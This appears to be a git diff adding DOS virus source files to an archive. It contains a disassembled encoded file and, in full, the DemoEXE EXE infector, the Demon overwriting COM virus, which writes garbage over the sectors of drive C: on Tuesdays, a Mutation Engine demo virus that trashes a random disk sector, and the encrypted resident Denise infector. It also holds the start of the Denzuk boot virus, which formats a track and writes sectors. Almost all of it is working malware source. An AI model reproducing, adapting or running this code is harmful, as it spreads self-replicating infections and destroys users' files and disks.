11H, 48H, 4CH, 90H, 09H, 41H + DB 09H,0D1H, 99H,0A9H, 75H, 01H + DB 6EH,0D9H, 6BH, 68H,0ADH,0BEH + DB 0B3H, 50H, 59H, 05H, 5AH,0D0H + DB 0AFH,0A9H, 55H, 07H, 4EH,0B0H + DB 0C5H, 55H, 17H, 4EH, 27H, 41H + DB 0E5H, 85H, 58H,0A1H,0B3H,0F7H + DB 5BH, 26H, 26H, 87H, 2AH, 5EH + DB 0D8H,0C3H,0FBH, 52H, 2BH,0A4H + DB 0F6H,0A0H, 05H, 40H, 0DH, 90H + DB 18H, 49H, 19H, 18H,0C4H, 97H + DB 0D9H, 95H,0A9H, 79H, 09H, 5AH + DB 0E9H, 5FH, 50H, 91H,0BEH, 8FH + DB 68H, 6DH, 35H, 6EH,0D8H,0ABH + DB 0A9H, 59H, 0FH, 5AH,0A0H,0D1H + DB 55H, 0BH, 4EH, 3BH, 59H,0F1H + DB 95H, 4CH,0A9H,0BFH,0F7H, 57H + DB 2EH, 52H,0F7H, 5EH, 26H,0A4H + DB 43H, 06H,0ABH,0DEH, 55H, 25H + DB 91H,0F8H,0A5H, 05H, 00H, 5DH + DB 01H, 9DH, 03H, 03H,0C5H, 40H + DB 16H, 4BH,0ACH,0B0H, 0BH,0B0H + DB 0A8H, 07H, 99H, 0AH,0BAH, 3FH + DB 66H, 50H, 4AH, 90H, 8CH, 0BH + DB 36H,0ADH + DB 'nR*Tfz*Xn' + DB 0ADH, 3AH, 4CH,0B2H, 89H,0B7H + DB 8DH, 6EH,0E2H, 2CH, 58H, 66H + DB 85H, 29H, 5CH,0ABH, 91H,0D6H + DB 0EDH, 34H, 92H, 6EH, 2EH,0DCH + DB 8AH,0A5H,0FFH, 36H, 5AH, 65H + DB 58H, 3EH, 52H, 3AH,0B4H, 79H + DB 83H,0EFH, 22H, 52H, 13H + DB '*Ka\2^&q' + DB 0E5H,0ABH, 59H,0BCH,0D7H, 5DH + DB 52H,0A9H,0AFH, 74H,0F9H, 02H + DB 5FH, 91H, 1BH,0A5H,0A0H, 8CH + DB 4CH, 1DH, 4FH, 4AH, 4CH,0E6H + DB 1EH, 5AH,0D4H, 86H,0FFH, 1CH + DB 52H,0B1H, 0DH,0F0H,0ABH, 1CH + DB 51H,0EAH, 61H, 4CH,0EAH, 59H + DB 5FH, 08H, 90H, 41H, 0CH, 4AH + DB 0CDH,0B3H,0B6H, 39H, 49H,0D9H + DB 47H, 0EH, 5CH,0EDH, 56H, 90H + DB 4DH,0D9H, 77H, 3FH, 6CH,0AFH + DB 6FH, 39H, 6CH, 51H, 96H, 5BH + DB 05H, 58H, 59H,0EDH, 61H, 56H + DB 25H, 7BH, 3FH, 4AH,0A0H,0ADH + DB 4DH, 96H, 57H, 05H, 5CH, 59H + DB 0E1H, 61H, 5EH, 26H, 76H, 11H + DB 2FH, 5BH, 0AH,0EBH, 2BH, 05H + DB 50H, 5CH,0FDH, 0AH, 58H,0A3H + DB 9DH,0A7H, 77H, 1FH, 4CH,0EAH + DB 2BH, 4CH,0ECH + DB '5Pf[;X+^' + DB 0F0H, 33H, 6CH, 85H, 02H, 97H + DB 2DH,0E6H,0A1H, 62H,0A2H, 1AH + DB 0F8H, 3BH, 5CH, 8CH,0B1H, 6AH + DB 0B5H, 3BH, 4AH,0A0H,0EDH, 4DH + DB 0D1H, 5FH, 0AH, 5CH, 5BH,0F9H + DB 0FH, 5CH,0E5H, 51H, 45H,0E2H + DB 54H, 20H, 7EH, 0EH, 01H, 53H + DB 0EAH, 5EH,0B2H, 18H,0A0H,0D4H + DB 0A2H,0BAH,0C8H,0B0H,0A2H, 5BH + DB 0B1H, 3CH, 80H,0BAH, 42H,0A1H + DB 28H, 97H,0FCH, 0BH, 53H,0DAH + DB 48H, 38H, 6BH,0E0H, 60H, 3DH + DB 53H,0E7H + DB '^`h', 0DH, 'S%' + DB 1CH,0A6H, 2EH,0B4H, 74H, 68H + DB 04H, 53H, 2BH, 17H,0B2H,0B3H + DB 0A0H, 2CH, 7AH,0BAH,0DAH,0D0H + DB 58H, 15H,0D0H,0E8H, 68H, 64H + DB 0DH, 5FH, 2DH, 6DH,0B6H, 17H + DB 0ACH, 68H, 68H, 18H, 4BH, 3FH + DB 60H,0A6H, 9CH,0ACH, 2DH,0BBH + DB 0B2H,0E4H,0A0H,0A0H, 9CH,0BAH + DB 58H, 90H,0C8H, 3FH, 6FH, 90H + DB 94H,0D2H, 78H, 09H, 5BH,0A7H + DB 0A0H, 90H,0E2H, 72H,0A6H, 13H + DB 0B4H,0B4H, 88H,0EEH, 07H, 53H + DB 0B6H, 0BH,0A4H,0B9H, 5AH,0B6H + DB 0DCH,0ACH,0E7H, 45H, 0CH, 5CH + DB 0A8H,0F9H, 53H, 51H, 2BH, 5CH + DB 0B2H, 07H,0A0H,0B7H,0D8H,0ADH + DB 01H, 3BH, 48H,0A2H, 1EH,0B0H + DB 0B7H, 32H, 7BH,0A3H,0BDH + DB 3AH, 9CH +LOC_37: + JNO $-59H ; Jump if not overflw + PUSH BP + CMP [BP+62H],CH + PUSH DS + AAA ; Ascii adjust + INC CX + RCR WORD PTR [DI+8],CL ; Rotate thru carry + POP SI + POP DX + JNZ $-5EH ; Jump if not zero + PUSH CX + OR AX,3A52H + OR DL,[DI+4DH] + INC CX + PUSH AX + POP BP + PUSH SP +;* POP CS ; Dangerous 8088 only + DB 0FH + OR AL,0AH + OR [BX+DI],CX + OR BYTE PTR DS:[0FE3H],AL ; (97DE:0FE3=7) + DB 0C9H, 0BH + DB 'O.nk[,X' + DB 0E3H, 67H, 5BH,0BBH, 2DH,0B2H + DB 0FH,0E8H, 15H, 4EH,0ECH + DB 33H, 52H +LOC_38: + MOV BH,0C8H + MOVSW ; Mov [si] to es:[di] + JCXZ $+5EH ; Jump if cx=0 + POP DI + MOV BX,923DH + DAS ; Decimal adjust + PUSHF ; Push flags + DEC BP + OR BP,[BP+20H] + PUSH AX + OUT 0A0H,AX ; port 0A0H, initialize, 4 byte + MOVSB ; Mov [si] to es:[di] + CLC ; Clear carry flag + CMP BX,[BP+0EH] + OR AL,11H + ADC AX,1012H + POP SS + DEC AX + DEC SP + JGE LOC_38 ; Jump if > or = + JNS $+0EH ; Jump if not sign + POP DX + MOV AX,DS:DATA_17E ; (97DE:AC71=0FFFFH) + JGE LOC_37 ; Jump if > or = + SCASW ; Scan es:[di] for ax + TEST BL,[SI-58H] + STC ; Set carry flag + PUSH BX + POP DX + SUB AL,[BP+DI+0AH] + OR CX,[SI] + JMP FAR PTR $+746BH + MOV BL,8EH + DEC CX + CMP AL,5FH ; '_' + AND AX,0DE5BH + MOVSB ; Mov [si] to es:[di] + PUSH AX + SUB AL,58H ; 'X' + JL $-2CH ; Jump if < + DEC AX + CMP [BP+DI-63H],BP + XOR AL,37H ; '7' + OR BH,[SI-5FH] + JO $+63H ; Jump if overflow=1 + POP BX + POP AX + OR AX,1AE6H + CMC ; Complement carry + AND AX,874AH + DB 6FH, 15H + DB '!QYtXRS/' + DB 0EAH, 24H, 31H, 1DH,0ADH,0ECH + DB 5EH, 5FH,0E3H,0FFH, 58H,0A2H + DB 0A1H,0F6H,0F1H, 6DH, 4AH,0F4H + DB 6DH, 4FH, 51H, 64H, 15H, 5FH + DB 0E3H,0D8H + DB 'XxcgH_g-(' + DB 0DCH, 86H,0EAH, 1AH, 69H, 8CH + DB 0E7H,0F7H, 54H, 83H, 6FH,0D6H + DB 1AH,0FAH, 07H, 9FH, 73H, 06H + DB 0C3H, 54H, 45H, 2CH,0E4H, 69H + DB 93H,0DBH, 18H,0ADH + DB 52H, 6DH + +SEG_A ENDS + + + + END START diff --git a/d/DEMOEXE.ASM b/d/DEMOEXE.ASM new file mode 100755 index 0000000..013156a --- /dev/null +++ b/d/DEMOEXE.ASM @@ -0,0 +1,186 @@ + .model tiny ; Handy TASM directive + .code ; Virus code segment + org 100h ; COM file starting IP + ; Cheesy EXE infector + ; Written by Dark Angel of PHALCON/SKISM + ; For 40Hex Number 8 Volume 2 Issue 4 + id = 'DA' ; ID word for EXE infections + + startvirus: ; virus code starts here + call next ; calculate delta offset + next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw + movsw + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + lea dx,[bp+exe_mask] + mov ah,4eh ; find first file + mov cx,7 ; any attribute + findfirstnext: + int 21h ; DS:DX points to mask + jc done_infections ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe + find_next: + mov ah,4fh ; find next file + jmp short findfirstnext + done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + pop es + pop ds ; DS->PSP + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[si+jmpsave+2],ax + add ax,word ptr cs:[si+stacksave+2] + cli ; Clear intrpts for stack manip. + mov sp,word ptr cs:[si+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo + jmpsave dd ? ; Original CS:IP + stacksave dd ? ; Original SS:SP + jmpsave2 dd 0fff00000h ; Needed for carrier file + stacksave2 dd ? + + creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0 + virusname db '[DemoEXE] for 40Hex',0 + + infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 ; 2**9 = 512 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax ; filesize in pages + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + mov cx, 1ah + finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Concatenate virus + lea dx,[bp+startvirus] + mov cx,heap-startvirus ; # bytes to write + int 21h + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + mo_infections: jmp find_next + + open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + + attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + + exe_mask db '*.exe',0 + heap: ; Variables not in code + newDTA db 42 dup (?) ; Temporary DTA + buffer db 1ah dup (?) ; read buffer + endheap: ; End of virus + + end startvirus diff --git a/d/DEMON.ASM b/d/DEMON.ASM new file mode 100755 index 0000000..072dd3c --- /dev/null +++ b/d/DEMON.ASM @@ -0,0 +1,125 @@ +;========== Demon virus ==================================== 22.09.91 ======== +; +; Assemble and link with: TASM DEMON.VIR +; TLINK DEMON /X/T +; Infect all .COM programs in current directory with: DEMON +; +; !!! NOT ON A TUESDAY !!! +; +;-------------- Constants and structures + +Tuesday = 2 ; INT 21h, AH=2Ah + +Search_Rec struc ; directory search record + db 21 dup (?) ; reserved for DOS + FileAttr db ? ; file attribute + FileTime dw ? ; packed file time + FileDate dw ? ; packed file date + FileSize dd ? ; long file size + FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT +Search_Rec ends + +;-------------- Demon virus segment + +Virus segment + assume cs:Virus,ds:Virus,es:Virus,ss:Virus + + org 0080h +DTA Search_Rec <> ; disk transfer area + + org 0100h +Demon: ; virus entry point +Virus_Size = Virus_End - Demon ; virus size = 272 bytes + + mov dx,offset All_COM ; find first .COM file, + mov ah,4eh ; including hidden/system + mov cx,110bh + int 21h + nop + jnc Infect ; abort if no files found + jmp short Check_Day +Infect: call Replicate ; overwrite first 272 bytes + mov dx,offset DTA + mov ah,4fh ; find next .COM file, + int 21h ; go check day if none found + nop ; else repeat + jnc Next_File + jmp short Check_Day +Next_File: jmp Infect +Check_Day: mov ah,2ah ; get DOS date, check day + int 21h + cmp al,Tuesday ; Tuesday ? + je Thrash_Drive ; if yes, thrash drive C: + mov ah,4ch ; else exit to DOS + int 21h + +Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors + jmp Write_Sectors ; of drive C: with garbage +Write_Sectors: mov al,Drive_C ; Error: doesn't work ! + mov cx,160 ; AL=C:, CX=160 sectors + mov dx,0 ; DX=highest sector in drive ! + mov bx,0 ; DS:BX=start of PSP area + int 26h ; overwrite sectors + inc Counter + cmp Counter,10 ; repeat 10 times + je Show_Msg + jne Write_Sectors +Show_Msg: mov ah,09h ; show a fake error message + mov dx,offset Virus_Msg ; and exit to DOS + int 21h + mov ah,4ch + int 21h + +Replicate: mov dx,offset DTA.FileName ; save file attribute + mov ax,4300h + int 21h + mov COM_Attr,cx + nop + xor cx,cx ; unprotect the .COM file + mov ax,4301h ; in case it's read-only + int 21h + nop + mov ax,3d02h ; open .COM file for R/W, + int 21h ; abort on error + nop + jc Check_Day + mov bx,ax ; BX = file handle + mov ax,5700h + int 21h ; save file date and time + nop + mov COM_Time,cx + mov COM_Date,dx + mov dx,offset Demon ; overwrite first 272 bytes + mov ah,40h ; of .COM program file + mov cx,Virus_Size ; with the virus code + int 21h + nop + mov ax,5701h ; restore file date and time + mov dx,COM_Date + mov cx,COM_Time + int 21h + mov ah,3eh ; close the file + int 21h + nop + mov dx,offset DTA.FileName ; restore file attribute + mov cx,COM_Attr + mov ax,4301h + int 21h + retn + +All_COM db '*.COM',0 ; dir search specification +COM_Date dw 0 ; packed .COM program date +COM_Time dw 0 ; packed .COM program time +COM_Attr dw 0 ; .COM program file attribute +Counter db 0 ; used when thrashing drive C: +Drive_C db 2 ; INT 26h C: drive number + dw 0 +Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)' + dw 0 +Virus_Msg db 10,13,'Error eating drive C:',10,13,'$' + +Virus_End label byte ; virus code+data end + +Virus ends + end Demon + diff --git a/d/DEMOVIR.ASM b/d/DEMOVIR.ASM new file mode 100755 index 0000000..eccad74 --- /dev/null +++ b/d/DEMOVIR.ASM @@ -0,0 +1,195 @@ + +; This is a demo virus to demonstrate +; the Mutation Engine usage + +; Version 1.01 (26-10-91) +; (C) 1991 Dark Avenger. + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr +reladr: + db 'We dedicate this little virus to Sara Gordon' + db ' who wanted to have a virus named after her.' +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + mov si,offset old_cod + movsb ;Restore first 3 bytes + movsw + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + mov ax,3524 ;Hook INT 24 + int 21 + push es bx + mov dx,offset fail_err + mov ax,2524 + int 21 + xor ax,ax ;Initialize random seed + mov [rnd_buf],ax + call rnd_init + push sp + pop cx + sub cx,sp + add cx,4 + push cx + mov dx,offset srchnam + mov cl,3 + mov ah,4e +find_lup: + int 21 ;Find the next COM file + jc infect_done + cmp [dta_buf+1a],ch + jnz infect ;If not infected, infect it now + pop cx +find_nxt: + push cx + mov dx,offset dta_buf + mov ah,4f + jmp find_lup +infect_done: + pop cx + loop find_nxt + jnc damage_done + call rnd_get + test al,1 + jz damage_done + xchg ax,dx ;Trash a random sector on the default + mov ah,19 ; drive + int 21 + mov cx,1 + mov bx,offset start + int 26 + popf +damage_done: + pop dx ds + mov ax,2524 ;Restore INT 24 + int 21 + push ss + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + push ds ;Exit to program + pop es + pop ax + retf +infect: + xor cx,cx ;Reset read-only attribute + mov dx,offset dta_buf+1e + mov ax,4301 + int 21 + jc infect_done + mov ax,3d02 ;Open the file + int 21 + jc infect_done + xchg ax,bx + mov dx,offset old_cod ;Read first 3 bytes + mov cx,3 + mov ah,3f + int 21 + jc read_done + mov ax,word ptr [old_cod] ;Make sure it's not an EXE file + cmp ax,'ZM' + jz read_done + cmp ax,'MZ' + jz read_done + xor cx,cx ;Seek at EOF + xor dx,dx + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + sub ax,3 + mov word ptr [new_cod+1],ax + mov ax,5700 ;Save file's date/time + int 21 + push dx cx + mov ax,offset data_top+0f + mov cl,4 ;Now call the Engine + shr ax,cl + mov cx,cs + add ax,cx + mov es,ax + mov dx,offset start + mov cx,offset _DATA + push bp bx + add bp,dx + xor si,si + xor di,di + mov bl,0f + mov ax,101 + call mut_engine + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + mov ah,40 ;Put the virus into the file + int 21 + push cs + pop ds + jc write_done + sub cx,ax + jnz write_done + xor dx,dx ;Put the JMP instruction + mov ax,4200 + int 21 + mov dx,offset new_cod + mov cx,3 + mov ah,40 + int 21 +write_done: + pop cx dx ;Restore file's date/time + mov ax,5701 + int 21 +read_done: + mov ah,3e ;Close the file + int 21 + jmp infect_done + +fail_err: ;Critical errors handler + mov al,3 + iret + +srchnam db '*.COM',0 + +old_cod: ;Buffer to read first 3 bytes + ret + dw ? + +new_cod: ;Buffer to write first 3 bytes + jmp $+100 + + .data + +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start + \ No newline at end of file diff --git a/d/DENISE.ASM b/d/DENISE.ASM new file mode 100755 index 0000000..fcaa430 --- /dev/null +++ b/d/DENISE.ASM @@ -0,0 +1,349 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: DENISE.ASM +; Denise by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'FB' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h ; add word ptr [bx], xxxx +xorpatch db 0007h +encryptvalue dw 0000h + add bx, 0002h + loop encrypt_loop +endencrypt: + mov bp, sp + int 0003h +next: + mov bp, ss:[bp-6] + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64 + sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64 + mov es, word ptr ds:[0012h] + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + sub word ptr ds:[0413h], (endheap-start+1023)/1024 + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop es + pop ds + cmp sp, id + jne restore_COM +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + ret + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM + jz return ; Exit if so + + mov ax, 4300h + lds dx, cs:filename + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + xchg ax, bx + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov dx, offset readbuffer + mov cx, 001Ah + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov si, offset readbuffer + mov di, offset old3 + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [readbuffer+14h], dx ; IP Offset + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + mov word ptr [readbuffer+2], ax ; the EXE header. + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov cx, (heap-encrypt)/2 + mov si, offset ENCRYPT + mov di, offset encryptbuffer + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + xor byte ptr [offset xorpatch], 0028h + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + xor cx, cx + mov ax, 4200h + cwd + int 0021h + + + pop cx + mov ah, 0040h + mov dx, offset readbuffer + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +signature db '[PS/G]',0 ; Phalcon/Skism G +creator db 'Ender',0 +virusname db 'Denise',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/d/DENZUK.ASM b/d/DENZUK.ASM new file mode 100755 index 0000000..f930bfd --- /dev/null +++ b/d/DENZUK.ASM @@ -0,0 +1,2592 @@ + +PAGE 59,132 + +; +; +; DENZUK +; +; Created: 4-Feb-91 +; Passes: 5 Analysis Options on: J +; +; + +data_0001e equ 24h +data_0002e equ 26h +data_0003e equ 4Ch +data_0004e equ 4Eh +data_0005e equ 78h +data_0006e equ 1BCh +data_0007e equ 1BEh +main_ram_size_ equ 413h +keybd_flags_1_ equ 417h +video_mode_ equ 449h +warm_boot_flag_ equ 472h +data_0008e equ 4F6h +data_0009e equ 51Ch ;* +data_0010e equ 61Eh ;* +data_0011e equ 7C00h ;* +data_0012e equ 7C0Bh ;* +data_0013e equ 7C0Eh ;* +data_0014e equ 7C10h ;* +data_0015e equ 7C11h ;* +data_0016e equ 7C15h ;* +data_0017e equ 7C16h ;* +data_0018e equ 7C18h ;* +data_0019e equ 7C1Ah ;* +data_0020e equ 7C1Ch ;* +data_0021e equ 7C2Ah ;* +data_0022e equ 7C2Bh ;* +data_0023e equ 7C37h ;* +data_0024e equ 7C39h ;* +data_0025e equ 7C3Bh ;* +data_0026e equ 7C3Ch ;* +data_0027e equ 7C3Dh ;* +data_0028e equ 7C3Fh ;* +data_0029e equ 7D77h ;* +data_0030e equ 7DD6h ;* +data_0031e equ 7DE1h ;* +data_0032e equ 7DFDh ;* +data_0033e equ 0 +data_0035e equ 28h +data_0036e equ 33h +data_0037e equ 5Ch +data_0157e equ 1E50h ;* +data_0158e equ 2000h ;* +data_0161e equ 2A00h ;* +data_0164e equ 7C00h ;* +data_0165e equ 7C0Bh ;* +data_0166e equ 7C15h ;* +data_0167e equ 7C18h ;* +data_0168e equ 7C1Ah ;* +data_0169e equ 7C1Eh ;* +data_0171e equ 7C2Ch ;* +data_0172e equ 7C2Eh ;* +data_0173e equ 7C30h ;* +data_0174e equ 7C31h ;* +data_0175e equ 7C32h ;* +data_0176e equ 7CC6h ;* +data_0178e equ 7E00h ;* +data_0179e equ 8002h ;* +data_0181e equ 0A82Ah ;* +data_0182e equ 0AA00h ;* +data_0183e equ 0AA02h ;* +data_0185e equ 0AA2Ah ;* +data_0186e equ 0AAAAh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +denzuk proc far + +start: + mov dx,29Dh + dec byte ptr ds:data_0037e + jns loc_0002 ; Jump if not sign + jmp loc_0008 +loc_0002: + mov dx,1BFh + call sub_0001 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_0009 ; Jump if not equal + mov dl,ds:data_0037e + xor ah,ah ; Zero register + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0007 ; Jump if carry Set + push dx + mov dx,281h + call sub_0001 + pop dx + mov ax,351Eh + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov al,9 + xchg al,es:[bx+4] + push es + push bx + push ax + push ds + pop es + xor dh,dh ; Zero register + mov ch,28h ; '(' + mov bx,offset data_0040 + mov ax,509h + int 13h ; Disk dl=drive a ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + pop ax + pop bx + pop es + jc loc_0007 ; Jump if carry Set + mov es:[bx+4],al + push ds + pop es + cld ; Clear direction + mov si,offset data_0058 + jmp short loc_0004 +loc_0003: + test dh,dh + jnz loc_0004 ; Jump if not zero + dec cx + jz loc_ret_0009 ; Jump if zero +loc_0004: + lea bx,[si+5] ; Load effective addr + mov bp,200h + lodsb ; String [si] to al + cmp al,0F6h + je loc_0006 ; Jump if equal + mov bx,offset data_0049 + cmp al,[bx] + je loc_0005 ; Jump if equal + mov di,bx + mov cx,bp + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_0005: + xor bp,bp ; Zero register +loc_0006: + lodsw ; String [si] to ax + xchg ax,cx + lodsw ; String [si] to ax + xchg ax,dx + or dl,ds:data_0037e + lea si,[bp+si] ; Load effective addr + mov ax,301h + push si + push cx + push dx + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop dx + pop cx + pop si + jnc loc_0003 ; Jump if carry=0 +loc_0007: + mov dx,offset data_0048 + +denzuk endp + +; +; 